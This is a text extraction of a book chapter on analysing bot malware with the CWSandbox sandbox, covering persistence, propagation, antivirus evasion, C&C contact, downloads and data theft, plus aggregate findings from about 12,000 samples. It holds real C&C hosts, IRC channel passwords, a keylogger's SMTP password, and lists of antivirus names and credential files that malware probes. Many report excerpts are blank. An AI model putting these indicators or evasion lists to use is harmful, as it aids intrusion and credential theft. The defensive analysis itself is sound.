Reason\nTimeout\nStart Time\n00:05.391\nStop Time\n02:00.469\nDLL-Handling\nLoaded DLLs\nC:\\WINDOWS\\system32\\arman.exe\nC:\\WINDOWS\\system32\\ntdll.dll\nC:\\WINDOWS\\system32\\kernel32.dll\n...\nFilesystem\nDeleted Files\nc:\\malware.exe\nMutexes\nCreates Mutex: arm4n\nRegistryChanges\nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run \"Arman\" =\nC:\\WINDOWS\\system32\\arman.exe\nReads\nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run \"Arman\"\nHKLM\\Software\\Microsoft\\Rpc\\SecurityService \"DefaultAuthLevel\"\nSystem Info\nGet System Directory\nNetwork Activity DNS Lookup\nHost Name\nIP Address\nsexccc.serveftp.com\nsexccc.ath.cx\n208.98.19.3\nTCP Connections\nOpened listening TCP connection on port: 11666\nC&C Server: 208.98.19.3:6666\nUsername: XP-DEU 0 0 :[XP|DEU|P|00|gcoDZaUz]\nNickname: [XP|DEU|P|00|gcoDZaUz]\nChannel: ##tibia2## (Password: tibiablows)\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n367\n" }, { "page_number": 386, "text": "TIP\nBased on the raw XML analysis report you are able to create your own\ncustomized HTML or plain-text transformation. For that you will have to\ncreate an XSL template, which contains instructions on how to parse an\nXML document. There exist several tools for performing the transforma-\ntion. One easy way to do this is by including a line like this in the XML\nfile (you need to use the correct filename of your XSL with the href\nparameter): \nInterpreting an Analysis Report\nThe results that can be obtained from the analysis of a malware application\ncan be used mainly for two purposes: protecting and disinfecting the bot\nhosting client systems and destroying the functionality of the currently\nexisting botnet. Obviously, the botnet will be left ineffective if all bots have\nbeen disabled, but because it is not possible to deactivate all bots at the same\ntime and because there always is the risk of new infections, it is also very\nimportant to shut down the C&C server. Important analysis results that can\nbe used for the purposes of removing and avoiding the infection of a bot\napplication and of shutting down the botnet may be:\n■\nWhere does the bot application store its files on the infected system?\n■\nWhat mechanisms are used to automatically start the bot application\nat system startup?\n■\nHow does the bot protect the infected host from infection by other\nmalware?\n■\nHow does the bot protect itself from detection and removal?\n■\nHow are new infectable hosts found? \n■\nWhat exploits/mechanisms are used to infect new hosts?\n■\nHow does the bot connect to the C&C server(s), and what servers\nare used? \n■\nWhere does the bot application get updates from?\n■\nWhat malicious operations are performed locally and remotely? \nwww.syngress.com\n368\nChapter 10 • Using Sandbox Tools for Botnets\n" }, { "page_number": 387, "text": "Evidence for all these pieces of information can be obtained from an anal-\nysis report that is created by CWSandbox. In the following sections, those\nitems are examined in detail, and extracting evidence for them from an anal-\nysis report is explained.\nHow Does the Bot Install?\nIf we want to check whether a given host already is infected with a particular\nmalware or if we want to clean a host from that parasite, we need information\nabout the locations where the malware installs its files and about the mecha-\nnisms it uses to automatically execute at system startup. Finding the answer to\nthe latter question normally also solves the first one, since any autostart mech-\nanism needs the information where to find the process to start. Windows\noffers many different possibilities to instruct the system to execute a specific\napplication automatically on startup.The great tool AutoRuns2.shows most of\nthem.Though there are many ways, nearly all malware either uses one of the\n\\run sections of the registry or installs a Windows Service application or\nkernel driver. However, the malware needs to modify a registry setting to set\nup any form of autostart mechanism. CWSandbox reports all accesses to the\nregistry, so you easily can filter out those accesses.As we already saw, registry\naccesses are contained in the and the relevant entries are\n and . Here are some examples of malware that\ninstalls as an autostart process, using different registry sections:\n\n\n\n\n\nAs mentioned, some bots do not install as normal programs but as\nWindows Service applications. In that case, beside the changes to the registry,\nthe analysis report will contain lines like these:\n\n\n\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n369\n" }, { "page_number": 388, "text": "\n\nA very powerful technique for infecting a system is to install a kernel device\ndriver. Once loaded, this driver executes in kernel mode and undergoes no\nmore security restrictions. Because it has full control over all running kernel\nand user mode processes, it could be very hard to detect such malware. In\nmost cases a kernel driver implements rootkit functions to hide itself and/or\nto provide system backdoors. CWSandbox can be configured to forbid the\ninstallation of kernel drivers completely or to fool the installer by returning a\nsuccessful error code while suppressing the real installation. In any case, the\nattempt to load a kernel driver can be detected by the attribute\nservicetype=”SERVICE_KERNEL_DRIVER” of a notifica-\ntion.The analysis report section of the installing process would look like this:\n\n\n\n\n\n\nUltimately, loading of the driver is performed by the Service Control\nManager (SCM).This process is hooked automatically and, in its report sec-\ntion, an entry like the following will be given. From the attribute\nbehavior=”SimulateOK” we can see that CWSandbox was configured to only\nsimulate this call and to suppress the real loading.\n\n\n\nwww.syngress.com\n370\nChapter 10 • Using Sandbox Tools for Botnets\n" }, { "page_number": 389, "text": "Finding Out How New Hosts Are Infected\nTo find new infectable machines, a lot of malware probes remote hosts for\nknown vulnerabilities.There are several strategies for determining which hosts\nto probe: Some malware generate random IPs, others scan complete (also ran-\ndomly chosen) IP ranges.There are also applications that use predefined\ninternal or external target lists. Internal lists are contained inside the malware\nbinary; external ones need to be reloaded from one or multiple possible loca-\ntions from the Internet.After one potential target has been determined, it is\nprobed against one or several vulnerabilities. Since the possible exploits all\nwork in different ways and use several different target services, it is hard to\ngive a standard procedure of how to detect their usage from an analysis\nreport, but some clues will always be there. In any case, a connection to a\nremote host needs to be established on one or more of the specific possible\nports. For some ports, any attempt to establish a connection is a promising\nhint of an exploitation attempt. For example, although they are really old,\nmalware still searches for known security leaks in the LSASS and the DCOM\nRPC Service is searched.Therefore, often you will see outgoing connections\non TCP ports 135, 139 and 445. Because these ports normally are blocked by\nCWSandbox by default, the connection establishment attempts will be\nincluded in the . The analysis report would\ninclude some outputs like these:\n\n\n\n\n\n\n\nTo get more information about these attempts, you should not forbid\nconnections to those ports. Furthermore, you should configure the\nCWSandbox such that all communication data is logged. Even if this logging\nis not enabled, the .cab file will contain the content of all TCP packets that\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n371\n" }, { "page_number": 390, "text": "are sent or received. By examining this data, you can learn what the malware\nhas intended by these connections.\nOften you will also be able to infer the host determination strategy from\nthe reports, especially if you find complete ranges of target IPs that are trying\nto be connected or pinged, as in this case:\n\n\n\n\n\n\n\n\n…\n\nHow Does the Bot \nProtect the Local Host and Itself?\nA lot of bots try to protect a new infected host against further exploitation by\nothers. Of course, this is not being done for charitable reasons, rather for the\nselfish reason of trying to ensue that that no one else can take control of the\nhost.This protection is accomplished by fixing known security leaks or by\ncompletely disabling Windows Services that can be exploited. Mostly this is\ndone by removing existing Windows shares. In the following you can see how\nfirst all existing shares are enumerated (enum_share) and then deleted\n(delete_share):\n\n\n\n\n\n\nTo hide and protect its own existence, most malware performs the fol-\nlowing actions on a newly infected system: It searches for known antivirus\nand security products and stops them or modifies their configuration. When\nmalware tries to detect such running security applications, it normally\nsearches for the commonly known names of their corresponding services,\nwww.syngress.com\n372\nChapter 10 • Using Sandbox Tools for Botnets\n" }, { "page_number": 391, "text": "processes, or windows.This can be done by either enumerating all the\nexisting objects and then comparing each found one with the entries of an\ninternal list or by using functions for opening a handle to a named object,\nproviding the known name as a parameter. In the first case, you will find the\nactions , , or in your\nreport. In the second case, long lists of actions with the known object names\nas parameters will appear in the analysis.The following example shows how\nmalware looks for services of antivirus software:\n\n\n\n\n…\n\n\n\n\n\n\n…\n\n\n\n\nYou can see that the bot loops through a long list (the original output has\nover 50 tests) of hardwired service names. Because most of those applications\nare not installed on our test system, nothing more is done than just querying\nfor those services.The last actions show us what happens if such a security\nservice could be found:The malware stops and disables the Windows\nSharedAccess service, which implements the Application Layer Gateway and is\nthe low-level service for controlling network connections. Normally this one\nis used for the Windows Firewall and for Internet Connection Sharing (ICS),\nbut it also runs if neither of them is enabled. By shutting down this service,\nthe Windows Firewall becomes inactive, but other unforeseen problems could\noccur.\nSome malware does not search for the services. Rather it tries to kill the\ncorresponding processes. In our example, the Windows XP command taskkill\nis used, for which the parameter /im imagename specifies the filename of the\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n373\n" }, { "page_number": 392, "text": "process and /f forces its termination.Again, we present only a short extract of\nthe real analysis report output:\n\n\n\n\n\n\n…\n\n\n\nAs a further example, we present malware that searches for the main win-\ndows of known antivirus scanners. We do not know what would happen if a\nsearched window would be found, but this is not very hard to guess:\n\n<find_window classname=\"NAVAP Wnd Class\"/>\n<find_window windowname=\"Norton AntiVirus\"/>\n<find_window windowname=\"AVGCC.exe\"/>\n<find_window windowname=\"AVG Resident Shield\"/>\n<find_window windowname=\"avg\"/>\n<find_window windowname=\"AVGUPSVC.EXE\"/>\n<find_window windowname=\"AVG Free Edition - Control Center\"/>\n…\n\nSome malware tries to find running debuggers and other activity-moni-\ntoring tools, which can be used for malware code analysis, by trying to open\ntheir devices. In our example, these are SICE and NTICE (NT version) for\nthe Softice debugger and FileMon3. and RegMon4, the famous tools from\nwww.sysinternals.com.Again, we do not know what would happen if one of\nthe queried devices existed. Most probably the application would crash the\nsystem or simply not perform any of its malicious operations in order to not\nreveal anything.\n<file_section>\n\n\n\nwww.syngress.com\n374\nChapter 10 • Using Sandbox Tools for Botnets\n" }, { "page_number": 393, "text": "\n\nSometimes malware does not try to stop found security services but\ninstead to modify their configuration such that the malware is not detected or\nis enabled to circumvent the security mechanisms. For the Windows Firewall\nthis could be done using the netsh command or by directly modifying the\ncorresponding registry key:\n\n\n\n\n\n\nNOTE\nCWSandbox includes rootkit functionality to hide its existence from\nmalware. Toward that end, all its objects, such as processes, windows,\nmodules, or handles, are hidden. You can deactivate this feature via\nthe configuration parameter HIDE_ENVIRONMENT, but it is enabled by\ndefault.\nDetermining How and \nWhich C&C Servers Are Contacted\nMost bots use a central C&C server for communicating with their botherder,\nand normally they use the standard IRC protocol for that purpose.\nCWSandbox detects such communication and reacts in two ways: First, all the\ninteresting connection information is extracted from the traffic, and second,\nall received commands are deleted so that they never arrive at the malware’s\nreceiving function. Some bots use slight modifications of the IRC protocol,\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n375\n" }, { "page_number": 394, "text": "and some modified IRC servers do not answer with RFC conforming \nmessages or do not answer at all until the IRC client has authenticated com-\npletely. CWSandbox tries to recognize these custom protocols as well, but it is\nobvious that this is only possible within a certain range of modifications.\nOften the communications of these modified IRC servers can be read manu-\nally if the traffic-logging option is used. If an IRC communication can be\ndetected successfully, an output like the following will be contained in the\nanalysis report:\n\n\n\n\n\nWe see that a TCP connection was established to the host 203.115.204.58\non port 7000.Although port 7000 is not the most well known port associated\nwith IRC (that would be port 6667), it is a common choice, along with 6665\nand 6666.After authenticating itself with the username SIS-21920206516\nand nickname SIS-21920206516, the client joins the channel #n using the\npassword .n. Some IRC servers are additionally secured with a server pass-\nword; in that case the value used for that would also be included in the\nreport. Normally after joining an IRC channel, the channel topic is trans-\nmitted automatically to the client. In the case of bots, this topic is mostly used\nto send an initial command to the client, in this case .asc asn1smbnt 200 5 0 -b\n–r (see Chapter 4 for further description of commonly used bot commands).\nThe last section of this chapter contains detailed information about the results\non IRC connections, which we were able to retrieve by analyzing over 1,800\nfound bot samples.\nHow Does the Bot Get Binary Updates?\nOften the first thing malware does is to retrieve new files or instructions from\nits operator.This is done to get code updates or actualized configuration data,\nsince the running malware might be an outdated version or might contain the\naddresses of already shutdown machines. In the case of bots, this configuration\ndata is most often received via their C&C channels, but there are also variants\nthat try to get this data from hardwired URLs. In any case, you will see an\nwww.syngress.com\n376\nChapter 10 • Using Sandbox Tools for Botnets\n" }, { "page_number": 395, "text": "outgoing TCP connection and/or DNS requests as evidence of such an\nupdate request. If you are lucky, the reloading of code or data is done via\nHTTP or FTP. In that case the report would contain outputs like this:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nAs you can see, there are several .exe files downloaded from the same host,\n194.187.45.55. In fact, for this particular malware (NOD32 calls it\nWin32/TrojanDownloader.Adload.NAN Trojaner), a total of 10 (!) different .exe\nfiles are reloaded.After the malware has downloaded them to the local disk,\nthey are executed:\n\n\n\n\n\nSometimes the malware does not use one of the standard Web protocols\nto reload data.Then it is harder to determine the fact that something exe-\ncutable or configuration data is retrieved.Again, the CWSandbox feature to\nlog all communication data will help in this case. In any event, you should use\nthe option STORE_CREATED_FILES, by which you will get a copy of\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n377\n" }, { "page_number": 396, "text": "each created file, no matter if it is an executable or data file and if it was\ndownloaded, copied, or created completely new.All these created files can be\nfound in the corresponding created_files subfolder inside the .cab archive.\nAnother helpful option is FAIL_ON_ALL_DNS_REQUESTS. When you\nenable this one, each DNS request will fail and the malware will disclose all\nits internally stored remote host contact addresses.\nWhat Malicious Operations Are Performed?\nThe possible malicious operations a bot could perform on the infected host\nand remote hosts are limited only by the imagination of its developer. It is\nobvious that the operations mentioned in the preceding sections are malicious\nas well. However, these operations are only intended to infect and secure a\nsystem.They are not intended to do harm. Once the infection process with\nall its side actions is finished, the bot is free to pursue its real purpose: using\nthe hosting system to perform illegal and criminal operations, directed by its\noperator. Some examples of these operations are:\n■\nSending spam or notification mails \n■\nPerforming distributed denial of service (DDoS) attacks \n■\nInstalling a backdoor \n■\nStealing sensitive data \n■\nHarvesting e-mail addresses from the local host\nIn this section we present hints for those operations that can be found in\nthe analysis reports. We start with the detection of mail delivery. In general, an\nSMTP mail delivery looks like this in the report:\n\n\n\" behavior=\"Simulate_And_Log\">\nFrom: kalonline@sbcglobal.net\nTo: kalonline@sbcglobal.net\nSubject: Perfect Keylogger was installed successfully: 11.11.2006, 06:47\nDate: Sat, 11 Nov 2006 06:47:04 +0100\nContent-Type: text/plain;\nPerfect Keylogger was installed on the computer FOO2,\nwith IP address 192.168.1.1, user victim at 11.11.2006, 06:47.\nwww.syngress.com\n378\nChapter 10 • Using Sandbox Tools for Botnets\n" }, { "page_number": 397, "text": "\n\n\nFrom this output we can learn the SMTP server (68.142.229.41), the used\nauthentication data (username: kalonline@sbcglobal.net, password: vi3tridaz) and\nthe recipient’s mail address (). Furthermore, we can\nread the mail body in plain text. Without doubt this is a notification mail,\nwhich is used to inform the malware operator about a new infected host.As\nwe have seen, CWSandbox recognizes SMTP traffic and extracts all the rele-\nvant data from it. Furthermore, it can be configured to trick the malware by\nexchanging informational data with the SMTP server but only pretending to\nsend the e-mail.The attribute behavior=”Simulate_And_Log” enables this fea-\nture during the malwares execution.There is another feature that constricts\nthe number of allowed SMTP send operations to limit the report size for\nmass-mailing malware.\nHuge botnets often are used to perform DDoS attacks. Commonly\nknown attacks are TCP Syn floods, UDP floods, and ICMP floods. If you find a\nlot of notifications for such connections in your report that all use the same\ntarget IP address, this is an assured evidence of such an attack (or sometimes\nonly of the foolishness of the malware’s developer).The relevant entries could\nlook like the following and would have to occur in a large number:\n\n\n\n\n\n\nAn analysis report normally contains only one output line for each type of\nreceived notification, no matter how often this one was received. Usually a\nDOS attack is performed using a lot of parallel threads that use a lot of dif-\nferent sockets, so one notification will be reported for each different socket.\nIf, due to bad implementation, the same socket is always used, only one \nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n379\n" }, { "page_number": 398, "text": "notification would be reported.Therefore, it might be necessary to use the\nparameter SHOW_QUANTITIES_IN_REPORT. If this attribute is enabled,\nthe quantities for each contained notification are included into the analysis\nreport as well. In that case a (badly implemented) DOS attack would look like\none of these:\n\n\n\nA lot of malware installs backdoors on the infected host such that its oper-\nator (or whomever) is able to connect to this host remotely.The power of\nsuch backdoors ranges from simply enabling remote access to the local file\nsystem or giving a simple command shell to the attacker to offering a com-\nplete graphical interface. Remote access to the file system can easily be set up\nby creating a new share:\n\n\n\nMalware could also try to escalate the security privileges of existing users\nsuch that a regular login can be used for much more powerful operations than\nit was intended to:\n\n\n\n\n\n\nReal backdoors bind themselves to a network port and implement com-\nplete servers. Evidence for such activity can be found in the section :\nwww.syngress.com\n380\nChapter 10 • Using Sandbox Tools for Botnets\n" }, { "page_number": 399, "text": "\n\n\nSome malware use the integrated Terminalserver of Windows to allow\nremote access.They modify the relevant registry settings to allow remote con-\nnections in general. In that case, you will find some lines in the report that\nlook like these:\n\n\n\n\n\nChanging the network routes or hijacking the DNS resolving process is\nalso part of the performed evil operations.That way, the malware either com-\npletely blocks accesses to hosts that provide updates for security software or\nthe operating system, or it routes all those requests to infected hosts.This can\nbe performed by modifying the hosts file, which resides in the\nsystem32\\drivers\\etc\\log directory in the Windows folder.An attempt to do\nso can be detected by locating an action, which refers to that file\nand requests WRITE access. Some malware completely reroutes all DNS\nrequests to a special host, which is enabled to return different IP addresses\ndynamically. Such a modification normally takes place in two steps: First the\nnetwork configuration for the network adapter is modified by changing the\nrelevant registry settings; then the network interface is advised to refresh its\nconfiguration. Of course, the second step is only optional. If it is not per-\nformed, the modified network configuration is activated on next system\nstartup.The tracks of these actions will look like this:\n\n\n\n\n\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n381\n" }, { "page_number": 400, "text": "\n\n\n\n\n\nFinally, a lot of malware tries to steal sensitive data from the local host.\nThis can be done by installing a keylogger or by directly accessing the places\nwhere such data is stored.The explicit process of keylogging is not detected\nby current version of CWSandbox and will be added as a new feature in\ncoming releases. Nevertheless, because some files need to be installed as an\nautostart application or as a service or driver for that purpose, this will\nbecome obvious by examining the report. If the malware tries to read the data\ndirectly from its storage location, this could happen in several ways, depending\non that location. Examples for retrieving dialup network configuration data\nand contents of address books for several mail clients are these (note that\nsome malware uses and other malware uses <find_file> or even\n to check for the existence of such files):\n<file_section>\n<find_file filetype=\"File\" srcfile=\"C:\\WINDOWS\\system32\\Ras\\*.pbk\"/>\n<find_file filetype=\"File\" srcfile=\"C:\\Dokumente und Einstellungen\\victim\\\nAnwendungsdaten\\Microsoft\\Network\\Connections\\Pbk\\*.pbk\"/>\n<find_file filetype=\"File\" srcfile=\"C:\\Documents and Settings\\Application\nData\\Qualcomm\\Eudora\\NNdbase.txt\" creationdistribution=\"OPEN_EXISTING\"/>\n<find_file filetype=\"File\" srcfile=\"C:\\Documents and Settings\\Application\nData\\The Bat!\\TheBat.ABD\" creationdistribution=\"OPEN_EXISTING\"/>\n\nIn Windows 2000 the Protected Storage Service was introduced.This is a ser-\nvice for storing sensitive data such as passwords or private keys in a protected\nand encrypted way. It is used to save the passwords that have been entered in\nInternet Explorer or Microsoft Outlook and Outlook Express, but it also can\nbe used by any other user application to protect its sensitive data. For that\nreason it is an open treasure chest for each malicious application. CWSandbox\ndetects all accesses to this Protected Storage and reports them in a\n. An example of such a report follows:\n\n\n\n\n\n\n\n\n\n\n\n\nBot-Related \nFindings of Our Live Sandbox\nWe have been running a live sandbox system at the University of Mannheim, in\nGermany, which consists of four CWSandbox hosts and uses a MySQL database\nas repository. New samples can be submitted via the Web interface at\nwww.cwsandbox.org, but many people use scripts to transmit files automati-\ncally. In the last few months we have successfully analyzed a total of 11,965\nunique malware samples. Inside this set, CWSandbox has detected 1283 pro-\ngrams that have successfully established an IRC connection to a remote host.\nFrom those, 108 did not follow an RFC conforming protocol but a slightly\nmodified variant instead. Furthermore, of the others, 40 did send a TCP packet\nwith data such as NICK (null)abcdef without having a connection established.\nThose probably are badly designed applications1 or some other unforeseen error\noccurred during their execution.Anyway, we can assume that these also are\napplications that implement some form of IRC communication. Finally, 492 of\nthe rest tried to connect to a TCP server on port 6665, 6666, or 6667, which\nlets us assume that they were also going to initiate an IRC session. So, from the\n11,965 samples, 1815 tried to or succeeded in establishing an IRC connection\nand, therefore, can be seen as bots or, at least, as malware that contains bot-like\nbehavior.\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n383\n" }, { "page_number": 402, "text": "Tools & Traps…\nUsing the Live CWSandbox\nA live version of CWSandbox can be accessed at the project homepage\nwww.cwsandbox.org and at the Sunbelt ResearchCenter at http://\nresearch.sunbelt-software.com/Submit.aspx. After submitting a suspi-\ncious file, your e-mail address, and an optional comment, you simply\nhave to wait until the analysis report is sent to you. Depending on the\ncurrent file queue length and on whether the submitted malware file\nhas previously been analyzed, this can happen immediately or take some\nminutes.\nThose programs that successfully have used an IRC connection have con-\nnected to IRC servers at 317 different IP addresses and have used 120 dif-\nferent TCP ports. Because the IRC servers could be identified only by their\nIP addresses, it is possible (and probable) that, due to using dynamic DNS ser-\nvices, not all of these hosts are unique. We could presume that two different\nbot applications that connect to the same channel on the same host and use\nthe same channel password are only two variants of one and the same mal-\nware and, therefore, belong to the same botnet. Since we have found 590\nunique host-channel-password combinations, this would mean that we have\nfound 590 different botnets. We can presume that two connections to the\nsame channel using the same channel password but connecting to different\nIRC servers also belong to the same botnet.This is probable but might not\nhold in every case, so the number of unique botnets found decreases to 497.\nFigure 10.6 shows a diagram of the dispersion for the 50 most seen channel-\npassword combinations.The x-axis holds the different channels and the y-axis\nshows the number of found malware samples that connect to each channel.\nThe top position was the channel #dd in combination with the password\ndpass, which we have seen 95 times, followed by #hotgirls (no password) with\n44 and #i# (@d00k@) with 38 instances.\nAs mentioned, we have found 120 different TCP ports. Most of them\nappeared only once or a few times, which leads to the suspicion that these\nwere used in malware that is only rarely spread or is a test or beta version. Of\nwww.syngress.com\n384\nChapter 10 • Using Sandbox Tools for Botnets\n" }, { "page_number": 403, "text": "course, the most often used port is 6667 (375 times), because this is the IRC\ndefault port.At the second position comes port 8585 (89 times), followed by\n7000 (86 times). But also the ports 1863, 6556, 19555, and 11640 have been\nseen more than 30 times each.\nFigure 10.6 Dispersion of Found Channel-Password Combinations\nKeep in mind that this analysis might not be representative of what you\nwill find. It should only give you an impression of a real, live example of a\nrunning CWSandbox system.\nSummary\nIn general, sandboxes are to protect the local system while executing unknown\nor malicious code. Protection is achieved either by blocking critical operations\ncompletely or by performing them in a virtual environment instead of on the\nreal system. In malware research the focus is not on prohibiting malicious oper-\nations but on monitoring them. In the case of CWSandbox, nearly all actions\nare not blocked, since the analyzed malware should behave as normally as pos-\nsible.Therefore, to protect the hosting system from a permanent infection, dif-\nferent mechanisms can be used to roll back the modifications that have been\nmade during the execution. Examples of such mechanisms are the application\nof virtualization software such as VMWare or Virtual PC, the use of reverting\ntools such as DeepFreeze or Partimage, or the use of hardware restore solutions.\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n385\n" }, { "page_number": 404, "text": "Some sandboxes can be integrated into a bigger process of automatic mal-\nware analysis, as is done with the Norman Sandbox or CWSandbox. Both use a\ndatabase to store malware samples and the resulting analysis reports and need no\nhuman interaction for performing the analysis of many malware samples con-\nsecutively. For that purpose, CWSandbox is embedded into the Automated\nAnalysis Suite that comes with the CWSandbox software package.The suite\nincorporates the honeypot tool Nepenthes to not only perform the analysis but\nto collect and analyze malware in an automated way. Using CWSandbox can\nreveal the following operations performed by the analyzed malware:\n■\nReading, writing, or locating objects of the local file system, .ini files,\nor the registry\n■\nFinding active local antivirus or security software\n■\nStarting new or terminating active applications\n■\nInjecting malicious code into running processes \n■\nReading or modifying the virtual memory of running processes\n■\nInstalling, starting, or deactivating Windows Services\n■\nEnumerating, creating, or removing local users\n■\nReading or writing data from or to the Windows Protected Storage\n■\nEnumerating, creating, removing, and modifying Windows network\nshares\n■\nLoading and unloading dynamic link libraries (DLLs)\n■\nQuerying system information, shutting down or rebooting the\nsystem, accessing mutexes, or creating threads\nMoreover, all TCP/IP connections and operations on them are monitored\nand included in the analysis report. For an established TCP connection,\nCWSandbox tries to detect the used application protocol and reports all the\nrelevant protocol-dependent data in case of success. Currently, the following\nprotocols (and slight modifications of them) are recognized: HTTP, FTP,\nSMTP, IRC, and IDENT. In general, the following information is contained\nin the of an analysis report that reflects the TCP/IP activity\nof the analyzed application:\nwww.syngress.com\n386\nChapter 10 • Using Sandbox Tools for Botnets\n" }, { "page_number": 405, "text": "■\nQuerying the DNS server for address resolution\n■\nSending and receiving UDP data\n■\nConnecting via TCP to a remote host\n■\nSetting up a TCP server for accepting connections\n■\nAccepting incoming TCP connections\n■\nFor recognized application protocols, the used protocol-dependent\ndata is displayed, such as username, password, nickname, mail receiver,\nmail content, and performed FTP commands\nIt has turned out that the use of CWSandbox for automatic behavior\nanalysis brings a big benefit in malware research. Nevertheless, though the\nreceived analysis results normally are very comprehensive and detailed, one\nhas to be aware that there is never an assurance of their completeness. First,\nbecause a sandbox usually monitors only one single execution path of an\napplication, only the actions that are performed on this path can be reported.\nThere is no guarantee that there are no other malicious operations that are\nonly triggered under certain conditions which were not met during the anal-\nysis run. Second, there are many tricks to either detect a sandbox or to per-\nform operations in a way the sandbox is not able to track.Accordingly, the\nsandbox is a great research tool, but you should not rely completely or solely\non it.Think of it as one more tool in a defense-in-depth strategy.\nSolutions Fast Track\nDescribing CWSandbox\n\u0002 Sandboxes are a common tool in security/malware research; they\nallow the execution of unknown software in a controlled, restricted,\nand monitored environment.\n\u0002 CWSandbox is a tool for automatic behavior analysis of Windows\nexecutables.The following steps are performed:\n■\nThe initial malware process is created by the starter application,\ncwsandbox.exe.\n■\nCwmonitor.dll is injected into each monitored process.\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n387\n" }, { "page_number": 406, "text": "■\nThe DLL installs API hooks for all important functions of the\nWindows API.\n■\nIf a new process is started by the malware or if an existing one is\ninfected, this process is also monitored.\n■\nAfter a customizable time, all monitored processes are terminated.\n■\nA high-level summarized analysis report is created of all the mon-\nitored actions.\n■\nThe network traffic is examined, important Web protocols\n(HTTP, FTP, IRC, and so on) are recognized, and all relevant pro-\ntocol data (username, password, and the like) is reported.\n\u0002 Automated Analysis Suite (AAS) is a tool for automatic collection\nand analysis of malware:\n■\nAAS uses a database to store malware samples and the corre-\nsponding created analysis reports.\n■\nAAS integrates the honeypot tool Nepenthes for automatic mal-\nware collection.\n■\nAdditionally, malware can be submitted via a PHP-based Web\ninterface.\n■\nAAS embeds CWSandbox for automatic analysis.\nExamining a Sample Analysis Report\n\u0002 The CWSandbox analysis report of Backdoor.IRCBot.S\n(BitDefender), BackDoor.Generic4.VT (AVG), and\nBackdoor.Win32.IRCBot.yc (Kaspersky) is presented.\n\u0002 This binary is a simple bot application that shows most of the\ncommon actions performed by this malware class:\n■\nThe initial file copies itself into the Windows Directory and starts\nthis copy.\n■\nThe copy first deletes the initial malware file.\n■\nThen a mutex is created to prevent multiple parallel instances.\n■\nAn autostart registry key is created.\nwww.syngress.com\n388\nChapter 10 • Using Sandbox Tools for Botnets\n" }, { "page_number": 407, "text": "■\nSome hostnames are resolved.\n■\nA C&C server is contacted using the IRC protocol.\n■\nA listening TCP server is created for incoming connections.\nInterpreting an Analysis Report\n\u0002 The interpretation of an analysis report was explained in detail in this\nchapter.\n\u0002 The races and hints of the most commonly performed malicious\noperations of bots are shown:\n■\nHow and where does the bot install its files, and how does it\nensure that they are automatically executed on system startup?\n■\nHow are new hosts found for infection, and how are they probed\nfor common, known security leaks that could be exploited?\n■\nHow is the local host protected against new infections?\n■\nHow are local security and antivirus tools found and\ndisabled/modified to hide the bot?\n■\nHow and to what are C&C servers connected?\n■\nWhat are traces of other malicious operations, such as sending\nspam, performing DDoS attacks, stealing sensitive data from the\nlocal system, or installing backdoors?\nBot-Related Findings of Our Live Sandbox\n\u0002 Some (unrepresentative) results of the analysis of 11,965 malware\nsamples at the University of Mannheim, Germany, were presented in\nthis chapter.\n\u0002 We have found 1815 bot applications that use the IRC protocol (or\nslight modifications of that) to communicate with IRC servers on\n317 different IP addresses using 120 different TCP ports.\n\u0002 These 1815 bots have used 497 different password-channel\ncombinations, which lets us assume we have found at most 497\ndifferent botnets.\nwww.syngress.com\nUsing Sandbox Tools for Botnets • Chapter 10\n389\n" }, { "page_number": 408, "text": "Q: Where can I get a copy of CWSandbox?\nA: A free research version as well as a commercial one can be retrieved from\nSunbelt. Please use the online form at www.sunbelt-\nsoftware.com/Sunbelt-CWSandbox-Request-Info.cfm.\nQ: Can I get the source code of CWSandbox?\nA: No, the source code is not available, neither for researchers nor for com-\nmercial customers.\nQ: How long does it take to perform an analysis with CWSandbox?\nA: Normally the analysis runs for a customizable amount of minutes, which\ncan be configured in the settings file. On our live sandboxes we use\ntimeout values of 2 or 3 minutes. Under certain circumstances, the analysis\nstops before that time, such as if all monitored processes have terminated\nprematurely.\nNotes\n1.“Norman SandBox Whitepaper;” available at http://sandbox.norman.no/pdf/03-\nsandbox%20whitepaper.pdf.\n2. Mark Russinovich and Bryce Cogswell,“AutoRuns for Windows v8.54,” Microsoft TechNet;\navailable at www.microsoft.com/technet/sysinternals/SystemInformation/Autoruns.mspx.\n3. Mark Russinovich and Bryce Cogswell,“FileMon for Windows v7.04,” Microsoft TechNet;\navailable at www.microsoft.com/technet/sysinternals/FileAndDisk/Filemon.mspx.\n4. RegMon monitors registry accesses in real time. For more information see “RegMon for\nWindows v7.04”; available at www.microsoft.com/technet/sysinternals/utilities/regmon.mspx.\nwww.syngress.com\n390\nChapter 10 • Using Sandbox Tools for Botnets\nFrequently Asked Questions\nThe following Frequently Asked Questions, answered by the authors of this\nbook, are designed to both measure your understanding of the concepts pre-\nsented in this chapter and to assist you with real-life implementation of these\nconcepts. To have your questions about this chapter answered by the author,\nbrowse to www.syngress.com/solutions and click on the “Ask the Author”\nform. \n" }, { "page_number": 409, "text": "Intelligence\nResources\nSolutions in this chapter:\n■\nIdentifying the Information an\nEnterprise/University Should Try to Gather\n■\nPlaces/Organizations Where Public\nInformation Can Be Found\n■\nMembership Organizations and How to\nQualify\n■\nConfidentiality Agreements\n■\nWhat to Do with the Information When You\nGet It\n■\nThe Role of Intelligence Sources in\nAggregating Enough Information to Make\nLaw Enforcement Involvement Practical\nChapter 11\n391\n\u0002 Summary\n\u0002 Solutions Fast Track\n\u0002 Frequently Asked Questions\n" }, { "page_number": 410, "text": "Introduction\nIntelligence is information about a threat or enemy. Generally, when people dis-\ncuss intelligence gathering, they are referring to information that’s been col-\nlected about a human threat or enemy. Since the birth of the computer age\nand cyberspace, intelligence has extended to include information about 